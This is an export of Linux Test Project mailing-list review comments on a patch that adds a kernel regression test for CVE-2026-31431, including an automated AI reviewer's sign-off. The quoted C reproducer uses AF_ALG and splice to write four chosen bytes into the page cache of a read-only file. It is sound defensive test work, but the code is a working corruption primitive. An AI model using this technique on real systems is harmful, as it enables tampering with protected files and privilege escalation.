[{"id":3684592,"web_url":"http://patchwork.ozlabs.org/comment/3684592/","msgid":"<20260430103254.3949-1-linuxtestproject.agent@gmail.com>","list_archive_url":null,"date":"2026-04-30T10:32:54","subject":"Re: [LTP] cve-2026-31431: Add page cache corruption reproducer","submitter":{"id":93132,"url":"http://patchwork.ozlabs.org/api/people/93132/","name":null,"email":"linuxtestproject.agent@gmail.com"},"content":"Hi Andrea,\n\nOn Thu, 30 Apr 2026 12:17:14 +0200, Andrea Cervesato wrote:\n> cve-2026-31431: Add page cache corruption reproducer\n\nReviewed-by: LTP AI Reviewer \n\n---\nNote:\n\nOur agent completed the review of the patch. The full review can be\nfound at: https://github.com/linux-test-project/ltp-agent/actions/runs/25160424399\n\nThe agent can sometimes produce false positives although often its\nfindings are genuine. If you find issues with the review, please\ncomment this email or ignore the suggestions.\n\nRegards,\nLTP AI Reviewer","headers":{"Return-Path":"","X-Original-To":["incoming@patchwork.ozlabs.org","ltp@lists.linux.it"],"Delivered-To":["patchwork-incoming@legolas.ozlabs.org","ltp@picard.linux.it"],"Authentication-Results":["legolas.ozlabs.org;\n\tdkim=fail reason=\"signature verification failed\" (2048-bit key;\n unprotected) header.d=gmail.com header.i=@gmail.com header.a=rsa-sha256\n header.s=20251104 header.b=VFEFX/eF;\n\tdkim-atps=neutral","legolas.ozlabs.org;\n spf=pass (sender SPF authorized) smtp.mailfrom=lists.linux.it\n (client-ip=213.254.12.146; helo=picard.linux.it;\n envelope-from=ltp-bounces+incoming=patchwork.ozlabs.org@lists.linux.it;\n receiver=patchwork.ozlabs.org)"],"Received":["from picard.linux.it (picard.linux.it [213.254.12.146])\n\t(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n\t key-exchange x25519)\n\t(No client certificate requested)\n\tby legolas.ozlabs.org (Postfix) with ESMTPS id 4g5r9B2Zl5z1yHZ\n\tfor ; Thu, 30 Apr 2026 20:33:02 +1000 (AEST)","from picard.linux.it (localhost [IPv6:::1])\n\tby picard.linux.it (Postfix) with ESMTP id D99003E65B2\n\tfor ; Thu, 30 Apr 2026 12:32:59 +0200 (CEST)","from in-6.smtp.seeweb.it (in-6.smtp.seeweb.it\n [IPv6:2001:4b78:1:20::6])\n (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n key-exchange X25519 server-signature ECDSA (secp384r1))\n (No client certificate requested)\n by picard.linux.it (Postfix) with ESMTPS id 77D813E57BC\n for ; Thu, 30 Apr 2026 12:32:57 +0200 (CEST)","from mail-qt1-x841.google.com (mail-qt1-x841.google.com\n [IPv6:2607:f8b0:4864:20::841])\n (using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits)\n key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest\n SHA256)\n (No client certificate requested)\n by in-6.smtp.seeweb.it (Postfix) with ESMTPS id 03F771400192\n for ; Thu, 30 Apr 2026 12:32:57 +0200 (CEST)","by mail-qt1-x841.google.com with SMTP id\n d75a77b69052e-50e5dbd8e0eso6686151cf.1\n for ; Thu, 30 Apr 2026 03:32:56 -0700 (PDT)","from\n runnervmeorf1.khuyxa00f1durmelsdgvmvfuth.cx.internal.cloudapp.net\n ([20.94.54.82]) by smtp.gmail.com with ESMTPSA id\n 6a1803df08f44-8b3ff458289sm14225976d6.29.2026.04.30.03.32.55\n (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);\n Thu, 30 Apr 2026 03:32:55 -0700 (PDT)"],"DKIM-Signature":"v=1; a=rsa-sha256; c=relaxed/relaxed;\n d=gmail.com; s=20251104; t=1777545176; x=1778149976; darn=lists.linux.it;\n h=content-transfer-encoding:mime-version:references:in-reply-to\n :message-id:date:subject:cc:to:from:from:to:cc:subject:date\n :message-id:reply-to;\n bh=Kzg4eH0RSZWDyhwCdx7kC6MQRlRAtmglx6G5JTjXz6E=;\n b=VFEFX/eFTZDBIpnkrVFsjucNT2BfOz6nv5x72iEAN8Ivmd4zjbiQgrFGvze4XLw3iv\n 3HpxXnJ7XY2R7/0uH3clpgnDH3d5/O8uWL5bA0DovwIkBefOQ2m4CQMgBwUnoK2bgeg1\n T9+zMQxh0N6eP7HbwigBA3pG5aXjplGLCuyTGfLpYCOUov78Gw984rcmqMtpFIlCI0Bj\n BGfEqnpC2Vb3wyhT+bKROVl5u16tNswPGdTH3rBYAF439uU6B+cAmm6ZCZF/1PDNlWNy\n B08MWjMYMDIv8Jk7rAdSQTzMGLk5LBHJ5HaghoIRcip2UOEwKE/aHhpDGoLMGcpekb6Q\n 4KOw==","X-Google-DKIM-Signature":"v=1; a=rsa-sha256; c=relaxed/relaxed;\n d=1e100.net; s=20251104; t=1777545176; x=1778149976;\n h=content-transfer-encoding:mime-version:references:in-reply-to\n :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from\n :to:cc:subject:date:message-id:reply-to;\n bh=Kzg4eH0RSZWDyhwCdx7kC6MQRlRAtmglx6G5JTjXz6E=;\n b=M/6yvWCEAOUDsGT5FxeglIb7WeaDWAxx/Ek8LOxAHEuRxwBSS5FtUCBHaqTpIL8qOn\n o26jTcIpz20AuBlGyAJi5SkZ2iuZIaTXQ/1cGQWdunhQfD3BwKEyDXc2TiS3ihhHKt8B\n jei23KRy55J3J8GFf27PeCzqT2UIThosCmaZbbpw8kcXNra1mydd3hRMFP1AZmAWxr4t\n 8wP7U+MUP+/m2blpWdIYZV7f+z59TLWWGXy7CIIVw5++9dTHryG1SVQzh+7VW9yIfADL\n RHFqn29JyECmvgQnYnHBfDrjskvjfeQ1ciNMd18I9zGq2luZ8qxbQsPCYTRo8XgFbJYH\n G6hQ==","X-Gm-Message-State":"AOJu0Yyfl184BtjJRo4vKqeo/9kRZHtzxr9cORKkRrhy0PgxUxQL0zcm\n AqCLKhH7Yjan5LoPjQqSHb4HsBATQhivRbO2vyAtxBva92XtEICvb6/T","X-Gm-Gg":"AeBDietZNznm+0UsdqR48xiz8qnF3pmiOc9kE6LsqROB3OLG4Wp8u0zaQiKvXeBFrm0\n if/6bkMAB86JzbEYwIMUmPVpCSiisyoNFfrgr7Saz6VFabnZg5DE7Lk2lfNLJiIJgPVIKHYLFAS\n WJ780SSVX/epDOISR+MJTmlsB42DP1r4feDZkMfVM9ACRkg7GF2l7wrmcsHwue8b7Y0aDKQnUpD\n 9F96TsuLSwSCGPAyrRlS0H3x/8bhfkd0HUF31i7y8mIKaWpQYBpqU5042paJEI+4wN9VHiijwTk\n pj5IyJIaQJNPTmEi8loXBylSL/iZRXFKOOYCtMMnVzECmkYlXSsM33WY4hwwIMSuHJ4ltr3WAKi\n 489d2QJ2pVeqtBhBIhqALXWeLyYxJ5+F+8vvBqo+/VisDVUYG59aklvNEeWDBSjvu6capcdtyCd\n u6mGrABKF+pCZRWxnO2DRHklUy5xYIDuMIjfDX0XKmaKAdu8zHj52tcra1hbj+BXX63my86Rqlb\n j9xZ0oc+ovUS6xRx+CwtbZ8hAqIcT3ceYSxE+J8YhxwEXM=","X-Received":"by 2002:a05:622a:81:b0:50f:bb11:df41 with SMTP id\n d75a77b69052e-5102ae35705mr29997831cf.60.1777545175725;\n Thu, 30 Apr 2026 03:32:55 -0700 (PDT)","From":"linuxtestproject.agent@gmail.com","To":"Andrea Cervesato ","Date":"Thu, 30 Apr 2026 10:32:54 +0000","Message-ID":"<20260430103254.3949-1-linuxtestproject.agent@gmail.com>","X-Mailer":"git-send-email 2.54.0","In-Reply-To":"<20260430-cve-2026-31431-v1-1-7fdc16c25785@suse.com>","References":"<20260430-cve-2026-31431-v1-1-7fdc16c25785@suse.com>","MIME-Version":"1.0","X-Spam-Status":"No, score=0.1 required=7.0 tests=DKIM_SIGNED,DKIM_VALID,\n DKIM_VALID_AU,DKIM_VALID_EF,FREEMAIL_FROM,SPF_HELO_NONE,SPF_PASS\n shortcircuit=no autolearn=disabled version=4.0.1","X-Spam-Checker-Version":"SpamAssassin 4.0.1 (2024-03-25) on in-6.smtp.seeweb.it","X-Virus-Scanned":"clamav-milter 1.0.9 at in-6.smtp.seeweb.it","X-Virus-Status":"Clean","Subject":"Re: [LTP] cve-2026-31431: Add page cache corruption reproducer","X-BeenThere":"ltp@lists.linux.it","X-Mailman-Version":"2.1.29","Precedence":"list","List-Id":"Linux Test Project ","List-Unsubscribe":",\n ","List-Archive":"","List-Post":"","List-Help":"","List-Subscribe":",\n ","Cc":"ltp@lists.linux.it, LTP AI Reviewer ","Content-Type":"text/plain; charset=\"us-ascii\"","Content-Transfer-Encoding":"7bit","Errors-To":"ltp-bounces+incoming=patchwork.ozlabs.org@lists.linux.it","Sender":"\"ltp\" "}},{"id":3684649,"web_url":"http://patchwork.ozlabs.org/comment/3684649/","msgid":"<25466194-da79-4ddf-96be-f0429afd61c1@suse.com>","list_archive_url":null,"date":"2026-04-30T12:12:13","subject":"Re: [LTP] [PATCH] cve-2026-31431: Add page cache corruption\n reproducer","submitter":{"id":88126,"url":"http://patchwork.ozlabs.org/api/people/88126/","name":"Avinesh Kumar","email":"avinesh.kumar@suse.com"},"content":"Hi Andrea,\n\n> +static void run(void)\n> +{\n> +\tint file_fd;\n> +\tuint8_t readback[OVERWRITE_SIZE];\n> +\n> +\tfile_fd = SAFE_OPEN(TESTFILE, O_RDONLY);\n> +\ttry_corrupt(file_fd);\n> +\tSAFE_CLOSE(file_fd);\n> +\n> +\tfile_fd = SAFE_OPEN(TESTFILE, O_RDONLY);\n> +\tSAFE_READ(1, file_fd, readback, sizeof(readback));\n> +\tSAFE_CLOSE(file_fd);\n> +\n> +\tif (memcmp(readback, original, OVERWRITE_SIZE) != 0)\n> +\t\ttst_res(TFAIL, \"Page cache was corrupted via AF_ALG splice\");\n> +\telse\n> +\t\ttst_res(TPASS, \"Page cache was not corrupted\");\n> +}\n> +\n> +static void setup(void)\n> +{\n> +\tint fd;\n> +\n> +\tfd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT | O_TRUNC, 0644);\n> +\tSAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);\n> +\tSAFE_CLOSE(fd);\n> +}\n\nwhen running more than 1 iteration (i.e. -i2) on a vulnerable kernel, the\n\nfirst iteration is overwriting the page cache with PWND, and subsequent\n\niterations are starting with  a corrupted file already, we need to move\n\nthe setup part also to run() and we can drop setup().\n\n\nwith that:\nTested-by: Avinesh Kumar \n\n> +\n> +static struct tst_test test = {\n> +\t.test_all = run,\n> +\t.setup = setup,\n> +\t.needs_tmpdir = 1,\n> +\t.tags = (const struct tst_tag[]) {\n> +\t\t{\"linux-git\", \"a664bf3d603d\"},\n> +\t\t{\"CVE\", \"2026-31431\"},\n> +\t\t{}\n> +\t},\n> +};\n>\n> ---\n\nRegards,\nAvinesh","headers":{"Return-Path":"","X-Original-To":["incoming@patchwork.ozlabs.org","ltp@lists.linux.it"],"Delivered-To":["patchwork-incoming@legolas.ozlabs.org","ltp@picard.linux.it"],"Authentication-Results":["legolas.ozlabs.org;\n\tdkim=pass (1024-bit key;\n unprotected) header.d=lists.linux.it header.i=@lists.linux.it\n header.a=rsa-sha256 header.s=picard header.b=fTQs6U80;\n\tdkim=fail reason=\"signature verification failed\" (2048-bit key;\n unprotected) header.d=suse.com header.i=@suse.com header.a=rsa-sha256\n header.s=google header.b=Ti2YCljO;\n\tdkim-atps=neutral","legolas.ozlabs.org;\n spf=pass (sender SPF authorized) smtp.mailfrom=lists.linux.it\n (client-ip=2001:1418:10:5::2; helo=picard.linux.it;\n envelope-from=ltp-bounces+incoming=patchwork.ozlabs.org@lists.linux.it;\n receiver=patchwork.ozlabs.org)"],"Received":["from picard.linux.it (picard.linux.it [IPv6:2001:1418:10:5::2])\n\t(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n\t key-exchange x25519)\n\t(No client certificate requested)\n\tby legolas.ozlabs.org (Postfix) with ESMTPS id 4g5tMt4dNhz1xqf\n\tfor ; Thu, 30 Apr 2026 22:12:26 +1000 (AEST)","from picard.linux.it (localhost [IPv6:::1])\n\tby picard.linux.it (Postfix) with ESMTP id 3224A3E594A\n\tfor ; Thu, 30 Apr 2026 14:12:23 +0200 (CEST)","from in-3.smtp.seeweb.it (in-3.smtp.seeweb.it [217.194.8.3])\n (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)\n key-exchange X25519 server-signature ECDSA (secp384r1))\n (No client certificate requested)\n by picard.linux.it (Postfix) with ESMTPS id 01E2A3CBDB2\n for ; Thu, 30 Apr 2026 14:12:19 +0200 (CEST)","from mail-wr1-x42d.google.com (mail-wr1-x42d.google.com\n [IPv6:2a00:1450:4864:20::42d])\n (using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits)\n key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest\n SHA256)\n (No client certificate requested)\n by in-3.smtp.seeweb.it (Postfix) with ESMTPS id BC38C1A00EFB\n for ; Thu, 30 Apr 2026 14:12:18 +0200 (CEST)","by mail-wr1-x42d.google.com with SMTP id\n ffacd0b85a97d-44509921fbcso485925f8f.3\n for ; Thu, 30 Apr 2026 05:12:18 -0700 (PDT)","from ?IPV6:2401:4900:88d6:a675:2691:5d4e:58a0:eb9b?\n ([2401:4900:88d6:a675:2691:5d4e:58a0:eb9b])\n by smtp.gmail.com with ESMTPSA id\n ffacd0b85a97d-447b120bdefsm13123308f8f.0.2026.04.30.05.12.16\n (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);\n Thu, 30 Apr 2026 05:12:17 -0700 (PDT)"],"DKIM-Signature":["v=1; a=rsa-sha256; c=relaxed/simple; d=lists.linux.it;\n i=@lists.linux.it; q=dns/txt; s=picard; t=1777551143; h=message-id :\n date : mime-version : to : references : in-reply-to : subject :\n list-id : list-unsubscribe : list-archive : list-post : list-help :\n list-subscribe : from : reply-to : cc : content-transfer-encoding :\n content-type : sender : from;\n bh=/vovDKPKGjpzOqr+2Qu37MN/RfH92ieItC6Paa2vKos=;\n b=fTQs6U80gzzuBj33P2sVqQ1XzsLywjYj6rEDvQ0mnkNDkcrcCyDKWidles+FkJ5+9XARO\n Lln7wU8s9Zls1Kyb+M2vztI4CM8CWIBOGWaR5/eOix+6RqKJeXWAA9FMy8ezyz5g8CRiR5k\n Vj/JaLUcUbrygyxVaqPdN0PXwQIs01w=","v=1; a=rsa-sha256; c=relaxed/relaxed;\n d=suse.com; s=google; t=1777551138; x=1778155938; darn=lists.linux.it;\n h=in-reply-to:cc:from:content-language:references:to:subject\n :user-agent:mime-version:date:message-id:from:to:cc:subject:date\n :message-id:reply-to;\n bh=C0Q1tsdKTHFH+vuoNBimxc1E8+/MCsun1UIfdnViVJw=;\n b=Ti2YCljOySzN3Y10y1wNYVuTKtsDqhiUnQATEXVmonHSSy+2rtlJ79Foesx8NM16qb\n O9cfqeKGxMUDuiWtJdz6yYJVOyfrOF5cqPc/a4/ZRIPieDhLbJFFJ42ifNNLGKCUpG4R\n vySXS+fdPIbZBULYx2x6yfuH4d5jDA2uM7zER7EJyqZ/7AZNtzEZ7GdKtUtC9Tcu7IXd\n L965MBqtUfpBGYoEtXla7Bzr21O/E6XYW54IrZg7Aq4/wX0s9Syp14tlWWBYupcIVdjz\n TY3gNA5B4hZHEaA9vfw6IBvmqvFbikx1UVaDX12FUGHF5uJzzQvmjqEDuY9euIw6axlu\n GGKA=="],"X-Google-DKIM-Signature":"v=1; a=rsa-sha256; c=relaxed/relaxed;\n d=1e100.net; s=20251104; t=1777551138; x=1778155938;\n h=in-reply-to:cc:from:content-language:references:to:subject\n :user-agent:mime-version:date:message-id:x-gm-gg:x-gm-message-state\n :from:to:cc:subject:date:message-id:reply-to;\n bh=C0Q1tsdKTHFH+vuoNBimxc1E8+/MCsun1UIfdnViVJw=;\n b=mcuKIGtO7JCcUq84W+cmcRBP/WkWyXK80KoqmJvtEvcWZ7vZQNGqDcSPoT0cWz2Kmw\n gQVpIu1Tmy+CmmA6K99QfXBRsWKX0M95Y+I2c6d9zPpcA0K2YyFAA7K+KLmbTPV0Cevs\n ev+g1CAbxemXWSXFu7tLpywVHUHMSao/+fEHDjBS37tMTpxDN8GUEkwmWA3nKhw1EkDJ\n HqncB2LvFfh0pe4Px6r541g70Tg1meVCdOBdSKVj9s8axri4dhP7yvA9rPQzhZdgggal\n Hzgx1fv6W5HVBfKmjzTUhriR0/PWSVuuQ3WGaH/V/VQdzW4fjMxYQ3IoD05rRfOQgZKV\n UrNg==","X-Gm-Message-State":"AOJu0YxVbxoSjja+h0DJdNX/951oQvLMotgdbPmc7G7QRbrvxj8g6YIl\n PW19A7+LD57SRIMVjfitOJAGkuv2w5PHeizXPmYgtXtX7A6PGiGzMC9GZ4RkXOvRwRM=","X-Gm-Gg":"AeBDieuHYtJT4OdpMJdUYgbkjKkEINlkH4ver2bVuo8qKKs4sGtLnUAiqDkXDmo0Bej\n 6Wlwa8BG0E+M2Tkn1C02URHk53Cc9cbGM34N5z8yEuY8Uf0qG0yMQjLQGWvvqlVFD+F5zjPNGLX\n tx9ohj5ix107kqy6EGMxqoJP6zqcCF5M9Zki0bBKBnsDVXHMeLUaPdHIzpVRjwSjP4wPXthITM9\n AAzWmzJJq1ryJ4kiXY6d4SzWW3Ho/UWH8H2bMnsyh2CzYMOpn1QWJbyGcWFwiGA+WWXRbPXbj1n\n BBVAnHcU/QGOs+0dEDi7Xo5qbdgF3KEE9iK5I96IovUWGcpC9SV2mhRFkplvC2sNBewQ4fB8I1f\n mFcZJJCo3gYxFcgsZGXTtIi12EcQ5kQFTX2/klIpctJh0M3g9/An1jO20mxOEuTt/Ue/iK7Uq/E\n iqnWYxxtMKxTCzzBt50eOD4lg+NQvL9mxJ1QxGxU8+LgaTTjkjVLHZ1tbjb3F1vahm8lWSW9SGd\n K9buuSkIwHpwslV","X-Received":"by 2002:a05:6000:1867:b0:43e:a9ba:b194 with SMTP id\n ffacd0b85a97d-4493f1307b6mr4632189f8f.34.1777551138078;\n Thu, 30 Apr 2026 05:12:18 -0700 (PDT)","Message-ID":"<25466194-da79-4ddf-96be-f0429afd61c1@suse.com>","Date":"Thu, 30 Apr 2026 14:12:13 +0200","MIME-Version":"1.0","User-Agent":"Mozilla Thunderbird","To":"Andrea Cervesato ","References":"<20260430-cve-2026-31431-v1-1-7fdc16c25785@suse.com>","Content-Language":"en-US","In-Reply-To":"<20260430-cve-2026-31431-v1-1-7fdc16c25785@suse.com>","X-Spam-Status":"No, score=0.1 required=7.0 tests=DKIM_SIGNED,DKIM_VALID,\n DKIM_VALID_AU,DKIM_VALID_EF,HTML_MESSAGE,SPF_HELO_NONE,SPF_PASS\n shortcircuit=no autolearn=disabled version=4.0.1","X-Spam-Checker-Version":"SpamAssassin 4.0.1 (2024-03-25) on in-3.smtp.seeweb.it","X-Virus-Scanned":"clamav-milter 1.0.9 at in-3.smtp.seeweb.it","X-Virus-Status":"Clean","X-Content-Filtered-By":"Mailman/MimeDel 2.1.29","Subject":"Re: [LTP] [PATCH] cve-2026-31431: Add page cache corruption\n reproducer","X-BeenThere":"ltp@lists.linux.it","X-Mailman-Version":"2.1.29","Precedence":"list","List-Id":"Linux Test Project ","List-Unsubscribe":",\n ","List-Archive":"","List-Post":"","List-Help":"","List-Subscribe":",\n ","From":"Avinesh Kumar via ltp ","Reply-To":"Avinesh Kumar ","Cc":"Linux Test Project ","Content-Transfer-Encoding":"base64","Content-Type":"text/plain; charset=\"utf-8\"; Format=\"flowed\"","Errors-To":"ltp-bounces+incoming=patchwork.ozlabs.org@lists.linux.it","Sender":"\"ltp\" "}},{"id":3684653,"web_url":"http://patchwork.ozlabs.org/comment/3684653/","msgid":"","list_archive_url":null,"date":"2026-04-30T12:15:01","subject":"Re: [LTP] [PATCH] cve-2026-31431: Add page cache corruption\n reproducer","submitter":{"id":77472,"url":"http://patchwork.ozlabs.org/api/people/77472/","name":"Martin Doucha","email":"mdoucha@suse.cz"},"content":"Hi,\nnice work. I've tested the reproducer on kernels v4.12 and v6.12 and I \ncan confirm that it works. I have a few ideas for further improvement below.\n\nFirst of all, I'd recommend moving the test to \ntestcases/kernel/crypto/af_alg08.c and adding it to the crypto runfile \nas well.\n\nOn 4/30/26 12:17, Andrea Cervesato wrote:\n> From: Andrea Cervesato \n> \n> A logic bug in authencesn allows an unprivileged user to corrupt\n> 4 bytes of page cache via AF_ALG + splice. The test writes known\n> data to a file, attempts corruption through the AEAD scratch-write\n> path, and verifies whether the file content was modified.\n> \n> Signed-off-by: Andrea Cervesato \n> ---\n> runtest/cve | 1 +\n> testcases/cve/.gitignore | 1 +\n> testcases/cve/cve-2026-31431.c | 172 +++++++++++++++++++++++++++++++++++++++++\n> 3 files changed, 174 insertions(+)\n> \n> diff --git a/runtest/cve b/runtest/cve\n> index c3ecd74dd9f837924b810b7b431ebb911d809966..499cbb3bc4170453560c329133e2c52b5a3b8c5c 100644\n> --- a/runtest/cve\n> +++ b/runtest/cve\n> @@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03\n> cve-2022-4378 cve-2022-4378\n> cve-2025-38236 cve-2025-38236\n> cve-2025-21756 cve-2025-21756\n> +cve-2026-31431 cve-2026-31431\n> diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore\n> index dc1dad5b0d0d02a3ab57e72516c33ee7949c8431..f8e2b7a7d0a6c0c32f8908ae9974ead6a57f358b 100644\n> --- a/testcases/cve/.gitignore\n> +++ b/testcases/cve/.gitignore\n> @@ -15,3 +15,4 @@ icmp_rate_limit01\n> tcindex01\n> cve-2025-38236\n> cve-2025-21756\n> +cve-2026-31431\n> diff --git a/testcases/cve/cve-2026-31431.c b/testcases/cve/cve-2026-31431.c\n> new file mode 100644\n> index 0000000000000000000000000000000000000000..b762096c1ecb940267ab2a337130939763f75452\n> --- /dev/null\n> +++ b/testcases/cve/cve-2026-31431.c\n> @@ -0,0 +1,172 @@\n> +// SPDX-License-Identifier: GPL-2.0-or-later\n> +/*\n> + * Copyright (C) 2026 SUSE LLC Andrea Cervesato \n> + */\n> +\n> +/*\\\n> + * Test for CVE-2026-31431 (\"Copy Fail\") fixed in kernel v7.0:\n> + * a664bf3d603d (\"crypto: algif_aead - Separate src from dst\")\n> + *\n> + * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended\n> + * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes\n> + * into the page cache of any readable file. During AEAD decryption,\n> + * authencesn uses the destination scatterlist as scratch space for ESN byte\n> + * rearrangement. When data is spliced from a file into an AF_ALG socket, the\n> + * 2017 in-place optimization (72548b093ee3) places page cache pages into the\n> + * writable destination scatterlist. authencesn's scratch write then corrupts\n> + * those pages.\n> + *\n> + * The test creates a file with known data, attempts page cache corruption via\n> + * the AF_ALG + splice technique, and verifies whether the file content was\n> + * modified.\n> + *\n> + * Reproducer based on:\n> + * https://github.com/theori-io/copy-fail-CVE-2026-31431\n> + */\n> +\n> +#include \"tst_test.h\"\n> +#include \"tst_af_alg.h\"\n> +#include \"lapi/socket.h\"\n> +#include \"lapi/splice.h\"\n> +\n> +#define TESTFILE \"copy_fail\"\n> +#define OVERWRITE_SIZE 4\n> +#define AEAD_AUTHSIZE 4\n> +#define AEAD_ASSOCLEN 8\n> +#define AES_IV_SIZE 16\n> +#define SPI_SIZE 4\n> +\n> +static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' };\n> +static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' };\n> +\n> +/*\n> + * authenc key format: struct rtattr header (8 bytes) +\n> + * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes)\n> + */\n> +static const uint8_t authenc_key[] = {\n> +\t0x08, 0x00, 0x01, 0x00,\n> +\t0x00, 0x00, 0x00, 0x10,\n> +\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n> +\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n> +\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n> +\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n> +};\n> +\n> +static void try_corrupt(int fd)\n> +{\n> +\tint algfd, reqfd, pipefd[2];\n> +\tloff_t off_in = 0;\n> +\tuint8_t aad[AEAD_ASSOCLEN];\n> +\tuint8_t iv[AES_IV_SIZE] = { 0 };\n> +\tstruct af_alg_iv *alg_iv;\n> +\tstruct cmsghdr *cmsg;\n> +\tchar recvbuf[AEAD_ASSOCLEN];\n> +\n> +\t/* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */\n> +\tmemset(aad, 'A', SPI_SIZE);\n> +\tmemcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE);\n> +\n> +\talgfd = tst_alg_setup(\"aead\", \"authencesn(hmac(sha256),cbc(aes))\",\n> +\t\t\t authenc_key, sizeof(authenc_key));\n> +\tSAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL,\n> +\t\t\tAEAD_AUTHSIZE);\n> +\n> +\treqfd = tst_alg_accept(algfd);\n> +\n> +\tstruct iovec iov = {\n> +\t\t.iov_base = aad,\n> +\t\t.iov_len = sizeof(aad),\n> +\t};\n> +\n> +\tuint8_t cbuf[CMSG_SPACE(sizeof(uint32_t)) +\n> +\t\t CMSG_SPACE(sizeof(struct af_alg_iv) + AES_IV_SIZE) +\n> +\t\t CMSG_SPACE(sizeof(uint32_t))];\n> +\n> +\tmemset(cbuf, 0, sizeof(cbuf));\n> +\n> +\tstruct msghdr msg = {\n> +\t\t.msg_iov = &iov,\n> +\t\t.msg_iovlen = 1,\n> +\t\t.msg_control = cbuf,\n> +\t\t.msg_controllen = sizeof(cbuf),\n> +\t};\n> +\n> +\tcmsg = CMSG_FIRSTHDR(&msg);\n> +\tcmsg->cmsg_level = SOL_ALG;\n> +\tcmsg->cmsg_type = ALG_SET_OP;\n> +\tcmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));\n> +\t*(uint32_t *)CMSG_DATA(cmsg) = ALG_OP_DECRYPT;\n> +\n> +\tcmsg = CMSG_NXTHDR(&msg, cmsg);\n> +\tcmsg->cmsg_level = SOL_ALG;\n> +\tcmsg->cmsg_type = ALG_SET_IV;\n> +\tcmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + AES_IV_SIZE);\n> +\talg_iv = (struct af_alg_iv *)CMSG_DATA(cmsg);\n> +\talg_iv->ivlen = AES_IV_SIZE;\n> +\tmemcpy(alg_iv->iv, iv, AES_IV_SIZE);\n> +\n> +\tcmsg = CMSG_NXTHDR(&msg, cmsg);\n> +\tcmsg->cmsg_level = SOL_ALG;\n> +\tcmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;\n> +\tcmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));\n> +\t*(uint32_t *)CMSG_DATA(cmsg) = AEAD_ASSOCLEN;\n> +\n> +\tSAFE_SENDMSG(sizeof(aad), reqfd, &msg, MSG_MORE);\n\nThe entire setup between tst_alg_accept() and here could be replaced \nwith a single call to tst_alg_sendmsg() + filling out the simple params \nstructure. But you'll have to add a new parameter for sendmsg() flags so \nthat you can pass MSG_MORE. The function is currently called only from \naf_alg02.\n\n> +\n> +\tSAFE_PIPE(pipefd);\n> +\n> +\tTEST(splice(fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));\n> +\tif (TST_RET < 0)\n> +\t\ttst_brk(TBROK | TTERRNO, \"splice(file -> pipe)\");\n> +\n> +\tTEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));\n> +\tif (TST_RET < 0)\n> +\t\ttst_brk(TBROK | TTERRNO, \"splice(pipe -> AF_ALG)\");\n> +\n> +\t/* Expected to fail (invalid ciphertext); triggers the scratch write */\n> +\tTST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG);\n> +\n> +\tSAFE_CLOSE(pipefd[0]);\n> +\tSAFE_CLOSE(pipefd[1]);\n> +\tSAFE_CLOSE(reqfd);\n> +\tSAFE_CLOSE(algfd);\n\nIt'd be better to make the file descriptor variables global and close \nthem also in cleanup(), in case one of the safe commands fails.\n\n> +}\n> +\n> +static void run(void)\n> +{\n> +\tint file_fd;\n> +\tuint8_t readback[OVERWRITE_SIZE];\n> +\n> +\tfile_fd = SAFE_OPEN(TESTFILE, O_RDONLY);\n> +\ttry_corrupt(file_fd);\n> +\tSAFE_CLOSE(file_fd);\n> +\n> +\tfile_fd = SAFE_OPEN(TESTFILE, O_RDONLY);\n> +\tSAFE_READ(1, file_fd, readback, sizeof(readback));\n> +\tSAFE_CLOSE(file_fd);\n> +\n> +\tif (memcmp(readback, original, OVERWRITE_SIZE) != 0)\n> +\t\ttst_res(TFAIL, \"Page cache was corrupted via AF_ALG splice\");\n> +\telse\n> +\t\ttst_res(TPASS, \"Page cache was not corrupted\");\n> +}\n> +\n> +static void setup(void)\n> +{\n> +\tint fd;\n> +\n> +\tfd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT | O_TRUNC, 0644);\n\nCreating the file with access mode 0444 (read-only) would be even better.\n\n> +\tSAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);\n> +\tSAFE_CLOSE(fd);\n> +}\n> +\n> +static struct tst_test test = {\n> +\t.test_all = run,\n> +\t.setup = setup,\n> +\t.needs_tmpdir = 1,\n> +\t.tags = (const struct tst_tag[]) {\n> +\t\t{\"linux-git\", \"a664bf3d603d\"},\n> +\t\t{\"CVE\", \"2026-31431\"},\n> +\t\t{}\n> +\t},\n> +};\n> 